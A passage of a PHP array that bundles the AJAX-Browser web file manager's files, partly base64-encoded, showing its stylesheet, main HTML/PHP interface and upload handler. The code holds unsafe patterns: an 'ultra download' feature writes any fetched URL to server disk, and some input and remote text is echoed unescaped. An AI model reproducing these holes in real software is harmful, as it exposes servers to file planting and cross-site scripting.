YWJsZQp7Cglmb250LXNpemU6MTBweDsKCXBhZGRpbmc6MHB4OwoJbWFyZ2luOi0xcHg7Cglib3JkZXI6MHB4Owp9Ci5HYWwgdGQgewoJaGVpZ2h0Ojw/cGhwIGVjaG8gJF9TRVNTSU9OWydBSkFYLUInXVsnbWluaV9zaXplJ10/PnB4OwoJd2lkdGg6PD9waHAgZWNobyAkX1NFU1NJT05bJ0FKQVgtQiddWydtaW5pX3NpemUnXT8+cHg7Cgl2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCXdoaXRlLXNwYWNlOm5vcm1hbDsKCXBhZGRpbmc6MHB4OwoJbWFyZ2luOjBweDsKCWJvcmRlcjowcHg7Cn0KLkdhbCBpbWcKewoJbWF4LXdpZHRoOjw/cGhwIGVjaG8gJF9TRVNTSU9OWydBSkFYLUInXVsnbWluaV9zaXplJ10/PnB4OwoJbWF4LWhlaWdodDo8P3BocCBlY2hvICRfU0VTU0lPTlsnQUpBWC1CJ11bJ21pbmlfc2l6ZSddPz5weDsKCXBhZGRpbmc6MHB4OwoJbWFyZ2luOjBweDsKfQouYzEge21hcmdpbi10b3A6MjVweDttYXJnaW4tbGVmdDoyNXB4Oy1tb3otb3BhY2l0eTowLjc7fQouYzIge21hcmdpbi10b3A6NTBweDttYXJnaW4tbGVmdDo1MHB4Oy1tb3otb3BhY2l0eTowLjU7fQouYzMge21hcmdpbi10b3A6NzVweDttYXJnaW4tbGVmdDo3NXB4Oy1tb3otb3BhY2l0eTowLjM7fQouc21hbGwKewoJcG9zaXRpb246YWJzb2x1dGU7CgloZWlnaHQ6NTJweDsKCXdpZHRoOjUycHg7Cn0KLnNtYWxsIHRkCnsKCXZlcnRpY2FsLWFsaWduOm1pZGRsZTsKCXRleHQtYWxpZ246Y2VudGVyOwoJaGVpZ2h0OjUwcHg7Cgl3aWR0aDo1MHB4Owp9Ci5zbWFsbCBpbWcKewoJaGVpZ2h0OjUwcHg7Cgl3aWR0aDo1MHB4Owp9Cjwvc3R5bGU+',
  './AJAX-B/scripts/Init.css' => 'aHRtbCwgYm9keSB7IHBvc2l0aW9uOiBhYnNvbHV0ZTt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO30KaHRtbCwgYm9keSwgZm9ybSx0YWJsZSwgaWZyYW1lIHtwYWRkaW5nOjBweDttYXJnaW46MHB4O2JvcmRlcjowcHg7fQpib2R5LHRhYmxlIHtmb250LXNpemU6MTBweDtmb250LWZhbWlseTpzYW5zLXNlcmlmO30KLml0YWxpYyB7Zm9udC1zdHlsZTppdGFsaWM7fQpCT0RZIHtiYWNrZ3JvdW5kLWltYWdlOiB1cmwoImh0dHA6Ly9hamF4YnJvd3Nlci5mcmVlLmZyL0FqYXgtQl9QdWIvbG9nby1yaWdodC5wbmciKTtiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgY2VudGVyO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDt9Ci8qID09PT09PT09PT09PSBTdHlsZSBkdSBmb3JtYXQgZGUgbGEgYmFyZSBkJ291dGlsIChibGV1KSA9PT09PT09PT09PT0gKi8KLmNsb3NlIHtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MXB4O3JpZ2h0OjFweDt0ZXh0LWFsaWduOnJpZ2h0O2N1cnNvcjpwb2ludGVyO30KLnNhdmUge3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxcHg7bGVmdDoxcHg7dGV4dC1hbGlnbjpsZWZ0O2N1cnNvcjpwb2ludGVyO30KLnRvcGNlbnRlciB7cG9zaXRpb246YWJzb2x1dGU7dG9wOjFweDtyaWdodDoxcHg7bGVmdDoxcHg7dGV4dC1hbGlnbjpjZW50ZXI7Y3Vyc29yOnBvaW50ZXI7fQoKI21lbnVfYmFycmUge2JhY2tncm91bmQtY29sb3I6cmdiKDIyMCwyMzAsMjU1KTtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLXNwYWNpbmc6MHB4O3BhZGRpbmc6MHB4O21hcmdpbjowcHg7bWFyZ2luLWJvdHRvbToxcHg7d2lkdGg6MTAwJTt9CiNtZW51X2JhcnJlIGltZyB7bWFyZ2luOjBweCAzcHg7fQojbWVudV9iYXJyZSBpbWc6aG92ZXIge2N1cnNvcjpwb2ludGVyO30KCi5Mc3RBcnJheSBpbnB1dCB7dmVydGljYWwtYWxpZ246bWlkZGxlO30KLkxzdEFycmF5IHRkIHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7cGFkZGluZzowcHg7bWFyZ2luOjBweDt9Ci5Mc3RBcnJheSB0cjpob3ZlciB7YmFja2dyb3VuZDpyZ2IoMjMwLDI1MCwyMTApO30KLkxzdEFycmF5IGltZzpob3ZlcntjdXJzb3I6cG9pbnRlcjt9CgojbW92ZXIge3Bvc2l0aW9uOmFic29sdXRlO3Zpc2liaWxpdHk6aGlkZGVuO3otaW5kZXg6NTt9CgojQ3BNdiB7cG9zaXRpb246YWJzb2x1dGU7dmlzaWJpbGl0eTpoaWRkZW47d2lkdGg6OTBweDt6LWluZGV4OjEwO2JhY2tncm91bmQ6I2ZmZmZmZjtib3JkZXI6MXB4IHNvbGlkIGdyYXk7cGFkZGluZzoxcHg7fQojQ3BNdiBkaXY6aG92ZXIge2JhY2tncm91bmQ6cmdiKDIyMCwyMzAsMjU1KTt9CiN6aXBwZXIsICNNemlwcGVyIHtwb3NpdGlvbjphYnNvbHV0ZTt2aXNpYmlsaXR5OmhpZGRlbjt3aWR0aDo5MHB4O3otaW5kZXg6MTA7YmFja2dyb3VuZDojZmZmZmZmO2JvcmRlcjoxcHggc29saWQgZ3JheTtwYWRkaW5nOjFweDt9CiN6aXBwZXIge3RvcDo0NXB4O2xlZnQ6ODVweDt9CiN6aXBwZXIgZGl2OmhvdmVyIHtiYWNrZ3JvdW5kOnJnYigyMjAsMjMwLDI1NSk7fQoKI0ZpbmRGaWx0ZXIge3Bvc2l0aW9uOmFic29sdXRlO3Zpc2liaWxpdHk6aGlkZGVuO3RvcDo0OHB4O2xlZnQ6MTg2cHg7ei1pbmRleDoxMDtiYWNrZ3JvdW5kOiNmZmZmZmY7Ym9yZGVyOm91dHNldCAxcHggZ3JheTtwYWRkaW5nOjFweDt9CiNGaW5kRmlsdGVyIGlucHV0IHt3aWR0aDoxNTBweDtib3JkZXI6aW5zZXQgMXB4IGdyYXk7fQoKLk1vdmFibGV7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDoxMDtiYWNrZ3JvdW5kOiNmYmZhZjk7Ym9yZGVyOm91dHNldCAxcHggZ3JheTtwYWRkaW5nOjFweDt9Ci5EcmFnYWJsZXtjdXJzb3I6bW92ZTtiYWNrZ3JvdW5kOiNmMGYwZjA7cGFkZGluZzoycHg7bWFyZ2luOi0xcHg7Ym9yZGVyLWJvdHRvbTpzb2xpZCAxcHggZ3JheTt9CgojQmF2YXJab25lIHtiYWNrZ3JvdW5kLWNvbG9yOndoaXRlO2ZvbnQtc2l6ZTo5cHg7ZGlzcGxheTpub25lO2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLXJpZ2h0OjFweCBzb2xpZCBncmF5O2JvcmRlci1sZWZ0OjFweCBzb2xpZCBncmF5O292ZXJmbG93OmF1dG87bWF4LWhlaWdodDoyMDBweDt9Ci5ib3R0b21sZWZ0IHtwb3NpdGlvbjpmaXhlZDtib3R0b206MHB4O2xlZnQ6MHB4O21hcmdpbjoycHg7ei1pbmRleDo2O30KLmJvdHRvbXJpZ2h0IHtwb3NpdGlvbjpmaXhlZDtib3R0b206MHB4O3JpZ2h0OjBweDttYXJnaW46MnB4O3otaW5kZXg6Njt9Ci50aXRsZWZsdXgge2ZvbnQtc2l6ZToxMHB4O2ZvbnQtc3R5bGU6aXRhbGljO2ZvbnQtd2VpZ2h0OmJvbGQ7fQojZGFuZ2VyIHtwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDo0MDBweDsgYmFja2dyb3VuZC1jb2xvcjpyZ2IoMjIwLDIzMCwyNTUpO3BhZGRpbmc6MnB4IDEwcHg7IC1tb3otYm9yZGVyLXJhZGl1czo4cHg7Ym9yZGVyOjFweCBzb2xpZCBncmF5Owpjb2xvcjpyZWQ7dGV4dC1hbGlnbjpqdXN0aWZ5O2ZvbnQtd2VpZ2h0OmJvbGQ7Zm9udC1zdHlsZTppdGFsaWM7fQoKI0JveCwgI01lbnUge3Bvc2l0aW9uOmFic29sdXRlO2Rpc3BsYXk6bm9uZTt6LWluZGV4OjEwO2JhY2tncm91bmQ6I2ZiZmFmOTtib3JkZXI6b3V0c2V0IDFweCBncmF5O3BhZGRpbmc6MXB4O21heC13aWR0aDo2MDBweDt9CiNCb3hDb250ZW50IHttYXgtaGVpZ2h0OjQwMHB4O21hcmdpbi10b3A6MnB4O292ZXJmbG93OmF1dG87fQoKI01lbnUge3dpZHRoOjE3MHB4O30KI016aXBwZXIge2xlZnQ6MHB4O3RvcDotMTBweDt9CiNNQm94Q29udGVudCB7d2lkdGg6MTcwcHg7bWFyZ2luLXRvcDoycHg7fQojTUJveENvbnRlbnQgZGl2IHtsaW5lLWhlaWdodDoyMHB4O30KI01Cb3hDb250ZW50IGRpdjpob3ZlciB7YmFja2dyb3VuZDpyZ2IoMjIwLDIzMCwyNTUpO2N1cnNvcjpwb2ludGVyO30KI01Cb3hDb250ZW50IGltZywgI01Cb3hDb250ZW50IGRpdiwgI01Cb3hDb250ZW50IHNwYW4ge3ZlcnRpY2FsLWFsaWduOm1pZGRsZTttYXJnaW46MHB4O3BhZGRpbmc6MHB4IDFweDt9Ci5zaG9ydGtleSB7cG9zaXRpb246YWJzb2x1dGU7bGVmdDoxMTVweDt9Ci5zdWJNZW51IHtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDoycHg7fQoKLmNhZHJlIHtiYWNrZ3JvdW5kLWNvbG9yOnJnYigyMjAsMjMwLDI1NSk7cGFkZGluZzoxMHB4Oy1tb3otYm9yZGVyLXJhZGl1czo4cHg7Ym9yZGVyOjFweCBzb2xpZCBncmF5O30KCi5idXR0b24ge2JhY2tncm91bmQtY29sb3I6cmdiKDIyMCwyMzAsMjU1KTtmb250LXN0eWxlOml0YWxpYztmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZToxMHB4O2JvcmRlcjpvdXRzZXQgMXB4IGdyYXk7cGFkZGluZzoxcHg7bWFyZ2luOjJweDt9Ci5jZW50ZXIge3dpZHRoOjEwMCU7dGV4dC1hbGlnbjpjZW50ZXI7fQoubGVmdCB7dGV4dC1hbGlnbjpsZWZ0O3BhZGRpbmctbGVmdDoycHg7bWFyZ2luLWxlZnQ6MnB4O30KLnJpZ2h0IHt0ZXh0LWFsaWduOnJpZ2h0O3BhZGRpbmctcmlnaHQ6MnB4O21hcmdpbi1yaWdodDoycHg7fQoubGFyZ2Uge2ZvbnQtc2l6ZToxNHB4O2ZvbnQtc3R5bGU6aXRhbGljO2ZvbnQtd2VpZ2h0OmJvbGQ7fQouYm9yZGVyIHtiYWNrZ3JvdW5kLWNvbG9yOiNmZmZmZmY7Zm9udC1zdHlsZTppdGFsaWM7Zm9udC1zaXplOjEwcHg7Ym9yZGVyOm91dHNldCAxcHggZ3JheTtwYWRkaW5nOjFweDttYXJnaW46MnB4O30KLmJvcmRlciBpbnB1dCwgI0JveENvbnRlbnQgaW5wdXQsICNCb3hDb250ZW50IHRleHRhcmVhIHttYXJnaW4tbGVmdDoxNHB4O2ZvbnQtc2l6ZToxMHB4O3BhZGRpbmctbGVmdDo0cHg7Ym9yZGVyOmluc2V0IDFweCBncmF5O30KLncwIHt3aWR0aDoxMDAlO30KLncxIHt3aWR0aDoxNzBweDt9Ci53MyB7d2lkdGg6MzcwcHg7fQovKiAjU2VsIHtwb3NpdGlvbjphYnNvbHV0ZTtib3JkZXI6c29saWQgMXB4IGdyYXk7ZGlzcGxheTpub25lOy1tb3otb3BhY2l0eTowLjQ7fSAqLwojQ3BNdlNsaWRlIHtwb3NpdGlvbjphYnNvbHV0ZTtkaXNwbGF5Om5vbmU7ei1pbmRleDoxMDstbW96LW9wYWNpdHk6MC45O30KI1NsaWRlTGV0IHtwb3NpdGlvbjphYnNvbHV0ZTtwYWRkaW5nOjJweDtiYWNrZ3JvdW5kOiNmZmZmZmY7ZGlzcGxheTpub25lO3otaW5kZXg6MTA7Ym9yZGVyOnNvbGlkIDFweCBncmF5O30KI1NsaWRlTGV0IGRpdjpob3ZlciB7YmFja2dyb3VuZDpyZ2IoMjIwLDIzMCwyNTUpO2N1cnNvcjpwb2ludGVyO30KI3Jlbk9uZQp7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCWRpc3BsYXk6bm9uZTsKCWZvbnQtc2l6ZToxMHB4OwoJd2lkdGg6MzAwcHg7CgloZWlnaHQ6MTZweDsKCWJvcmRlcjppbnNldCAxcHggZ3JheTsKCXBhZGRpbmc6MXB4IDJweDsKCW1hcmdpbjowcHg7Cn0K',
  './AJAX-B/scripts/InitHTML.php' => '<!-------------------------------------------------
 | AJAX-Browser  -  by Alban LOPEZ
 | Copyright (c) 2007 Alban LOPEZ
 | Email bugs/suggestions to alban.lopez@gmail.com
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +-------------------------------------------------->
<!-------------------------------------------------
 | AJAX-Browser  -  by Alban LOPEZ
 | Copyright (c) 2007 Alban LOPEZ
 | Email bugs/suggestions to alban.lopez@gmail.com
 +--------------------------------------------------
 | This script has been created and released under
 | the GNU GPL and is free to use and redistribute
 | only if this copyright statement is not removed
 +-------------------------------------------------->
<html>
	<head>
		<meta content="text/html; charset=UTF-8" http-equiv="content-type">
		<title><?php echo $ABS[200];?></title>
	</head>
	<link type="text/css" rel="stylesheet" href="<?php echo INSTAL_DIR; ?>scripts/Init.css"/>
<!-- Do not remove the next 3 lines -->
<!--[if lt IE 7]>
<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE7.js" type="text/javascript"></script>
<![endif]-->
<script type="text/javascript">
<?php
echo "InstallDir=\"".INSTAL_DIR."\";\n\n";
for ($i=900;$i<1000;$i++)
	if (isset($ABS[$i])) echo "ABS$i=\"".$ABS[$i]."\";\n";
if (isset($ABS[29])) echo "ABS29=\"".$ABS[29]."\";\n";
?>

function promtMAJ()
{
<?php
if (array_sum($_SESSION['AJAX-B']['IP_count'])<3)
{
	echo "ID('DragZone').childNodes[0].innerHTML='Mon Compte';\n";
	echo "PopBox('mode=request&usrconf=','OpenBox(request.responseText);');\n";
}
elseif (!empty($_SESSION['AJAX-B']['ajaxb_miror']) && $_SESSION['AJAX-B']['droits']['GLOBAL_SETTING'])
{
	list($V1, $V2, $V3, $V4) = sscanf(VERSION,'%d.%d.%d%s');
	$NewVersion = @file_get_contents ('http://'.$_SESSION['AJAX-B']['ajaxb_miror'].REPOSITORY_FOLDER.'LastVersion.php?version');
	list($v1, $v2, $v3, $v4) = sscanf($NewVersion, '%d.%d.%d%s');
	if ($v1*1000+$v2*100+$v3 > $V1*1000+$V2*100+$V3)
	{
		echo "ID('DragZone').childNodes[0].innerHTML='Upgrade';\n";
		echo "ID('Box').style.display = 'block';\n";
		echo "OpenBox ('<a href=\"http://ajaxbrowser.free.fr/Ajax-B_Pub/en/contribute.php\">".$ABS[37]."</a><br/><br/><a href=\"?mode=request&maj\">".$ABS[508].' : '.$NewVersion."</a>".str_replace(array("\n","\""), array("","\\\"") ,@file_get_contents ('http://'.$_SESSION['AJAX-B']['ajaxb_miror'].REPOSITORY_FOLDER.'LastVersion.php?addons'))."<br/>');";
	}
}
?>
}
function FileIco (File)
{
	if (is_dir(File)) return "folder.";
	var ext = File.split(".");
	ext = ext[ext.length-1].toLowerCase();
	if(ext.slice(ext.length-1)=="~") return "recycled";
	switch(ext)
	{
<?php
	$IcoLst = DirSort (INSTAL_DIR.'icones/',array('type-*.png'));
	foreach ($IcoLst as $Ico)
		echo "		case \"".substr($Ico,5,-4)."\":\n";
	?>
			ico=ext;
	break;
	default:
			ico="unknown";
	}
	return ico;
}
</script>
	<script type="text/javascript" src="<?php echo INSTAL_DIR; ?>scripts/Dom-drag.js"></script>
	<script type="text/javascript" src="<?php echo INSTAL_DIR; ?>scripts/Dom-event.js"></script>
	<script type="text/javascript" src="<?php echo INSTAL_DIR; ?>scripts/Dom-AJAX.js"></script>
	<script type="text/javascript" src="<?php echo INSTAL_DIR; ?>scripts/Dom-Common.js"></script>
	<script type="text/javascript" src="<?php echo INSTAL_DIR; ?>scripts/Dom-UTF8Base64.js"></script>
<body onload="RequestLoad('<?php echo $racine64?>');promtMAJ();" onkeypress="ManageKeyboardEvent(event);" oncontextmenu="event.stopPropagation();void(0);return false;">
	<span class="close">
		<span style='padding:2px;'>
			<a href="<?php echo str_replace($ChangeMode['current'], $ChangeMode['next'], RebuildURL ())?>"><?php echo $ABS[2].' '.$ChangeMode['change']?></a>
		</span>
		<span style='padding:2px;'>
			<a href="?stop"><?php echo $ABS[7];?></a>
		</span><br>

		<span style='padding:2px;'>
			<a href="#" onclick="window.open('http://code.google.com/p/ajax-browser/issues/list');"><?php echo $ABS[30];?></a>
		</span>
		<span style='padding:2px;'>
			<a href="#" onclick="window.open('http://ajaxbrowser.free.fr/Ajax-B_Pub/fr/help.php');"><?php echo $ABS[8];?></a>
		</span>
	</span>
		<div class="italic" style="margin:3px;"><span class="bold"><?php echo $_SESSION['AJAX-B']['login']." [".$_SERVER['REMOTE_ADDR']."]"?></span><br />
			<?php echo $ABS[3].' : '.$_SESSION['AJAX-B']['last'].', '.$ABS[9].' : '.array_sum ($_SESSION['AJAX-B']['IP_count'])?></div>
<table id='menu_barre'>
<colgroup> <col width='195'><col><col width='140'></colgroup>
<tbody>
	<tr><td style='padding-top:2px;'>
		<?php if ($_SESSION['AJAX-B']['droits']['NEW']) {?>
			<IMG onclick="_new();" src="<?php echo INSTAL_DIR; ?>icones/New.png" title="<?php echo $ABS[201];?>"/>
		<?php } if ($_SESSION['AJAX-B']['droits']['REN']) {?>
			<IMG onmouseup="ID('CpMvSlide').style.display = 'none';_rename();" src="<?php echo INSTAL_DIR; ?>icones/Ren.png" title="<?php echo $ABS[202];?>"/>
		<?php } if ($_SESSION['AJAX-B']['droits']['DEL']) {?>
			<IMG onmouseup="ID('CpMvSlide').style.display = 'none';_remove();" src="<?php echo INSTAL_DIR; ?>icones/Sup.png" title="<?php echo $ABS[203];?>"/>
		<?php } if ($_SESSION['AJAX-B']['droits']['DOWNLOAD']) {?><span onmouseover="ID('zipper').style.visibility='visible';" onmouseout="ID('zipper').style.visibility='hidden';">
				<IMG onclick="if(ID('zipper').style.visibility!='visible')ID('zipper').style.visibility='visible';else ID('zipper').style.visibility='hidden';" src="<?php echo INSTAL_DIR; ?>icones/Download.png" title="<?php echo $ABS[204];?>"/>
			<div id="zipper">
					<div onmouseup="_download('no');" class='action'><IMG src="<?php echo INSTAL_DIR; ?>icones/type-unknown.png"/><?php echo $ABS[23];?></div>
				<?php if (function_exists('zip_open')) {?>
					<div onmouseup="ID('CpMvSlide').style.display = 'none';_download('zip');" class='action' title="<?php echo $ABS[205];?>*.ZIP"><IMG src="<?php echo INSTAL_DIR; ?>icones/type-zip.png"/>ZIP</div><?php }?>
					<div onmouseup="ID('CpMvSlide').style.display = 'none';_download('tar');" class='action' title="<?php echo $ABS[205];?>*.TAR"><IMG src="<?php echo INSTAL_DIR; ?>icones/type-tar.png"/>TAR</div>
				<?php if (function_exists('gzencode')) {?>
					<div onmouseup="ID('CpMvSlide').style.display = 'none';_download('tar.gzip');" class='action' title="<?php echo $ABS[205];?>*.GZIP"><IMG src="<?php echo INSTAL_DIR; ?>icones/type-gzip.png"/>TAR.GZIP</div>
				<?php } if (function_exists('bzcompress')) {?>
					<div onmouseup="ID('CpMvSlide').style.display = 'none';_download('tar.bzip2');" class='action' title="<?php echo $ABS[205];?>*.BZIP2"><IMG src="<?php echo INSTAL_DIR; ?>icones/type-bzip2.png"/>TAR.BZIP2</div>
				<?php }?>
			</div>
		</span><?php }?>
		<?php if ($_SESSION['AJAX-B']['droits']['UPLOAD']!='NO') {?><IMG onclick="_upload();" src="<?php echo INSTAL_DIR; ?>icones/Upload.png" title="<?php echo $ABS[206];?>"/><?php }?>
		<IMG onclick="ID('DragZone').childNodes[0].innerHTML='Contact Admin';PopBox('mode=request&contact=','OpenBox(request.responseText);');" src="<?php echo INSTAL_DIR; ?>icones/E-mail.png" title="<?php echo $ABS[207];?>"/>
				<IMG onclick="if(ID('FindFilter').style.visibility!='visible'){ID('FindFilter').style.visibility='visible';ID('matchFilter').focus();}else ID('FindFilter').style.visibility='hidden';" src="<?php echo INSTAL_DIR; ?>icones/FindFilter.png" title="<?php echo $ABS[208];?>"/>
		<div id="FindFilter">
				<input name='match' id='matchFilter' value='<? echo $match;?>'>
		</div>
	</td>
	<td style='font-size:11px;font-weight:bold;font-style:italic;text-align:center;'>
	<?php
		$UrlLst = explode ('/', realpath(decode64($racine64)));
		$url = '/';
		foreach ($UrlLst as $dir)
		{
			$url = realpath($url.$dir).'/';
			echo '<a href="'.str_replace($racine64, encode64(UnRealPath($url)), RebuildURL()).'">'.$dir.'/</a> ';
		}
 	?>
	</td>
	<td style='text-align: right;'>
<?php
if ($_SESSION['AJAX-B']['droits']['GLOBAL_SETTING'])
{?>
		<IMG onclick="ID('DragZone').childNodes[0].innerHTML='Setting';PopBox('mode=request&setting=','OpenBox(request.responseText);');" src="<?php echo INSTAL_DIR; ?>icones/Setting.png" title="<?php echo $ABS[210];?>"/>
<?php }
if ($_SESSION['AJAX-B']['droits']['GLOBAL_ACCOUNTS'])
{?>
		<IMG onclick="ID('DragZone').childNodes[0].innerHTML='<?php echo $ABS[211];?>';PopBox('mode=request&accounts=','OpenBox(request.responseText);');" src="<?php echo INSTAL_DIR; ?>icones/Account.png" title="<?php echo $ABS[211];?>"/>
<?php }?>
		<IMG onclick="ID('DragZone').childNodes[0].innerHTML='Mon Compte';PopBox('mode=request&usrconf=','OpenBox(request.responseText);');" src="<?php echo INSTAL_DIR; ?>icones/User_edit.png" title="<?php echo $ABS[212];?>"/>
		<IMG onclick="ID('DragZone').childNodes[0].innerHTML='A propos';PopBox('mode=request&apropos=','OpenBox(request.responseText);');" src="<?php echo INSTAL_DIR; ?>icones/APropos.png" title="<?php echo $ABS[213];?>"/>
	</td></tr>
</tbody>
</table>
	<div id="All" onmousedown="ManageAllEvent(event);return false;" onmouseup="ManageAllEvent(event);return false;">',
  './AJAX-B/scripts/ManageUpload.php' => 'PGh0bWwgc3R5bGU9InBhZGRpbmc6MHB4O21hcmdpbjowcHg7Ij4KPD9waHAKCWluaV9zZXQoJ3VwbG9hZF90bXBfZGlyJywnLi8nKTsgLy8gICAgKiB1cGxvYWRfdG1wX2RpcgoJaW5pX3NldCgnZmlsZV91cGxvYWRzJywndHJ1ZScpOyAvLyAgICAqIGZpbGVfdXBsb2FkcwoJaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywnMzYwMCcpOyAvLyAgICAqIG1heF9leGVjdXRpb25fdGltZQoJaW5pX3NldCgnbWF4X2lucHV0X3RpbWUnLCczNjAwJyk7IC8vICAgICogbWF4X2lucHV0X3RpbWUKCWluaV9zZXQoJ21lbW9yeV9saW1pdCcsJzEwNDRNJyk7IC8vICAgICogbWVtb3J5X2xpbWl0Cglpbmlfc2V0KCdwb3N0X21heF9zaXplJywnMTAzNE0nKTsgLy8gICAgKiBwb3N0X21heF9zaXplCglpbmlfc2V0KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywnMTAyNE0nKTsgLy8gICAgKiB1cGxvYWRfbWF4X2ZpbGVzaXplCgplY2hvICc8Ym9keSBzdHlsZT0iZm9udC1zaXplOjEwcHg7cGFkZGluZzowcHg7bWFyZ2luOjBweDsiIG9ubG9hZD0iIj48aW1nIHNyYz0iJy5JTlNUQUxfRElSLidpY29uZXMvbG9hZGVyLTIuZ2lmIiBzdHlsZT0iZGlzcGxheTpub25lOyI+JzsKaWYgKCFlbXB0eSgkX0ZJTEVTKSkKewoJaWYgKCFlbXB0eSgkX0ZJTEVTWydhRmlsZSddKSkKCXsKCQlpZiAoISRfRklMRVNbJ2FGaWxlJ11bJ2Vycm9yJ10pCgkJewoJCQlpZiAoRmlsZVR5cGVBcHByb3ZlcigkX0ZJTEVTWydhRmlsZSddWyduYW1lJ10pKQoJCQl7CgkJCQkkRGVzdEZpbGUgPSBkZWNvZGU2NCgkZGVzdCkuJF9GSUxFU1snYUZpbGUnXVsnbmFtZSddOwoJCQkJaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydhRmlsZSddWyd0bXBfbmFtZSddLCAkRGVzdEZpbGUpKQoJCQkJewoJCQkJCWVjaG8gJERlc3RGaWxlLicgPiBDb21wbGV0ICgnLlNpemVDb252ZXJ0KGZpbGVzaXplICgkRGVzdEZpbGUpKS4nKTxicj4nOwoJCQkJCWlmICgkX1NFU1NJT05bJ0FKQVgtQiddWydzcHknXVsnYWN0aW9uJ10pCgkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzICgkX1NFU1NJT05bJ0FKQVgtQiddWydzcHlfZGlyJ10uJy91cGxvYWQuc3B5JywgJF9TRVNTSU9OWydBSkFYLUInXVsnbG9naW4nXS4nIFsnLmRhdGUgKCJkL20veSBIOmk6cyIsdGltZSgpKS4nXSA+ICcuJERlc3RGaWxlLicgKCcuU2l6ZUNvbnZlcnQoZmlsZXNpemUgKCREZXN0RmlsZSkpLiIpXG4iLCBGSUxFX0FQUEVORCk7CgkJCQl9CgkJCQllbHNlIGVjaG8gJEFCU1s4MDFdLiREZXN0RmlsZS4iPGJyPiIuJEFCU1s4MDJdLicgJy5kZWNvZGU2NCgkZGVzdCkuIjxiciAvPiI7CgkJCX0KCQkJZWxzZSBlY2hvICRBQlNbODAzXS4iPGJyIC8+IjsKCQl9CgkJZWxzZSBlY2hvICRBQlNbODA0XS4iIDogXCIiLiRfRklMRVNbJ2FGaWxlJ11bJ25hbWUnXS4iXCI8YnIgLz4iOwoJfQoJZWxzZSBlY2hvICRBQlNbODA1XS4iPGJyIC8+IjsKfQppZiAoaXNzZXQoJHVsdHJhZG93bmxvYWQpICYmIHN0cnBvcygkdWx0cmFkb3dubG9hZCwgJzovLycpIT0wKQp7CgllY2hvICRHZXRGaWxlID0gJHVsdHJhZG93bmxvYWQ7CgllY2hvICRzdGFydCA9IG1pY3JvdGltZV9mbG9hdCgpOwoJJE5ldyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRHZXRGaWxlKTsKCWZpbGVfcHV0X2NvbnRlbnRzIChkZWNvZGU2NCgkZGVzdCkuVVRGOGJhc2VuYW1lKCRHZXRGaWxlKSwgJE5ldyk7CgkkZW5kID0gbWljcm90aW1lX2Zsb2F0KCk7CglpZiAoaXNfZmlsZSgkTmV3KSkKCXsKCQllY2hvIFNpemVDb252ZXJ0KGZpbGVzaXplKCR2ZXJzaW9uKSkuJyA+ICcuJGVuZC0kc3RhcnQuIiBzZWNcbiI7CgkJaWYgKCRfU0VTU0lPTlsnQUpBWC1CJ11bJ3NweSddWydhY3Rpb24nXSAmJiBmaWxlc2l6ZShkZWNvZGU2NCgkZGVzdCkuVVRGOGJhc2VuYW1lKCRHZXRGaWxlKSkgPT0gc3RybGVuKCROZXcpKQoJCQlmaWxlX3B1dF9jb250ZW50cyAoJF9TRVNTSU9OWydBSkFYLUInXVsnc3B5X2RpciddLicvdWx0cmFEb3dubG9hZC5zcHknLCAkX1NFU1NJT05bJ0FKQVgtQiddWydsb2dpbiddLicgWycuZGF0ZSAoImQvbS95IEg6aTpzIix0aW1lKCkpLiddID4gJy4kR2V0RmlsZS4nID4gJy5TaXplQ29udmVydChmaWxlc2l6ZSgkTmV3KSkuJyA+ICcuJGVuZC0kc3RhcnQuIiBzZWNcbiIsIEZJTEVfQVBQRU5EKTsKCX0KfQplbHNlCnsKCWVjaG8gJEFCU1s4MDRdLiIgOiBcIiIuJF9GSUxFU1snYUZpbGUnXVsnbmFtZSddLiJcIjxiciAvPiI7Cn0KZWNobyAiRGVzdGluYXRpb24gOiAiLmRlY29kZTY0KCRkZXN0KS4iICI7Pz4KCQk8Zm9ybSBNRVRIT0Q9InBvc3QiIGFjdGlvbj0iIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBzdHlsZT0icGFkZGluZzowcHg7bWFyZ2luOjBweDsiPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkZXN0IiB2YWx1ZT0iPD9waHAgZWNobyAkZGVzdDs/PiI+CgkJCTxsYWJlbD5VbHRyYSBEb3dubG9hZCAoV2ViIHRvIFdlYik8L2xhYmVsPjxici8+CgkJCTxpbnB1dCB0eXBlPSJpbnB1dCIgbmFtZT0idWx0cmFkb3dubG9hZCIgdmFsdWU9IiI+PGlucHV0IHR5cGU9InN1Ym1pdCIgb25jbGljaz0idGhpcy5wYXJlbnROb2RlLnBhcmVudE5vZGUuZmlyc3RDaGlsZC5zdHlsZS5kaXNwbGF5PSdibG9jayc7dGhpcy5wYXJlbnROb2RlLnN0eWxlLmRpc3BsYXk9J25vbmUnOyIgdmFsdWU9Ijw/cGhwIGVjaG8gJEFCU1sxMF07Pz4iPjxici8+CgkJPC9mb3JtPgoJCTxmb3JtIE1FVEhPRD0icG9zdCIgYWN0aW9uPSIiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIHN0eWxlPSJwYWRkaW5